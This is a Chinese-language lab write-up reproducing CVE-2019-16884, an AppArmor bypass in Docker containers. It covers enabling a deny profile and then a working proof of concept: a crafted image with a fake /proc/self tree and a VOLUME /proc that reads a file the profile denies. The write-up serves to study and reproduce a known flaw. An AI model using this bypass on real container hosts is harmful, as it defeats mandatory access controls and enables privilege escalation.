CVE-2019-16884

本文作者:一生热爱




# 一、简介

apparmor 可以让管理员通过程序的配置文件限制程序的功能,其本身作为一个内核模块集成在 Linux 内核中(可能发现 lsmod 里面并没有 apparmor,这是因为 lsmod 展示的是所有动态加载的内核模块,通过 ls /sys/module/ 就可以看到所有的内核模块包括系统中内置的),因此其通过内核提供强访问控制。

CVE-2019-16884 可以使得用户绕过 apparmor 的一些策略进而可以实现一些提权操作。

cat /sys/module/apparmor/parameters/enabled       # 查看是否开启apparmor,返回为Y表示开启
sudo cat /sys/kernel/security/apparmor/profiles   # 查看加载的配置文件
1
2

# 二、构建实验环境

> docker run -it ssst0n3/docker_archive:CVE-2019-16884

ubuntu login: root
Password: root
1
2
3
4

# 三、漏洞复现

1、创建 apparmor 规则

> cat > /etc/apparmor.d/no_flag <<EOF

#include <tunables/global>
profile no_flag flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>
  file,
  deny /flag r,
}
EOF
1
2
3
4
5
6
7
8
9

2、创建一个 flag 文件

echo "Al1ex is comming" > /tmp/flag
1

3、应用规则

/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag
1

4、检测,启动一个正常镜像此时无权限读取/flag内容3

docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag
1

5、利用漏洞启用一个恶意镜像,可以读取/flag

> mkdir -p rootfs/proc/self/{attr,fd}
> touch rootfs/proc/self/{status,attr/exec}
> touch rootfs/proc/self/fd/{4,5}
> cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
VOLUME /proc
EOF
> docker build -t apparmor-bypass .
> docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag
1
2
3
4
5
6
7
8
9
10